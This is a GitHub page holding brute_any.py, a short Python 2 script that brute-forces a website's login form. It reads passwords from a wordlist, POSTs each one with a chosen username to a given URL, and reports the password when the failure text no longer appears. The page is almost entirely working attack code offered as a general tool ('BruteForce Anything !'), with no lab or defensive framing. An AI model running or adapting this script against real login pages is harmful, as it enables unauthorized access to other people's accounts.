-
Notifications
You must be signed in to change notification settings - Fork 7
/
brute_any.py
69 lines (68 loc) · 2.14 KB
/
brute_any.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#Author: Daniel Victor Freire Feitosa
#Version: 1.0
#Twitter: @DanielFreire00
#Youtube: youtube.com/channel/UCKIL1n8YdEaYXQxhKMth6aA
# -*- coding: utf-8 -*-
import sys,requests,os,time,argparse
os.system("color 0a && cls")
#os.system("clear")#if linux
print ""
print " ______ _ ___ "
print " | ___ \ | | / _ \ "
print " | |_/ /_ __ _ _| |_ ___/ /_\ \_ __ _ _ "
print " | ___ \ '__| | | | __/ _ \ _ | '_ \| | | |"
print " | |_/ / | | |_| | || __/ | | | | | | |_| |"
print " \____/|_| \__,_|\__\___\_| |_/_| |_|\__, |"
print " __/ |"
print " |___/"
print ""
print " by Daniel Freire"
print ""
try:
parser = argparse.ArgumentParser(
formatter_class=argparse.RawTextHelpFormatter,
description='BruteForce Anything !')
parser.add_argument(
'-u', '--url',
default=None, help='Example : http://example.com/login.php')
parser.add_argument(
'-U', '--username',
default=None, help='Example : Admin')
parser.add_argument(
'-w', '--wordlist',
default=None, help='Example : wordlist.txt')
parser.add_argument(
'-p1', '--param1',
default=None, help='Example : email')
parser.add_argument(
'-p2', '--param2',
default=None, help='Example : pass')
parser.add_argument(
'-f', '--fail',
default='Login', help='Ex: senha incorreta')
args = parser.parse_args()
print ""
try:
try:
wordlist=open(args.wordlist, "r")
except:
print "\n[!] Wordlist nao encontrada ..."
exit()
for i in wordlist:
password=i.strip()
sys.stdout.write("\r[!] Password test : " + password)
sys.stdout.flush()
data={args.param1 : args.username, args.param2 : password}
r=requests.post(args.url, data=data)
if not args.fail in r.content:
print ""
print "\r\n**** Bruteforce Sucess ! *****"
print "\r\n[+] Login : %s \n[+] Password : %s" % (args.username,password)
print ('\n[-] Termino do script : %s' % time.strftime('%H:%M:%S'))
wordlist.close()
exit()
except KeyboardInterrupt:
print "\n[x] Saindo ..."
exit()
except:
print "\n[i] Digite : brute_any.py -h"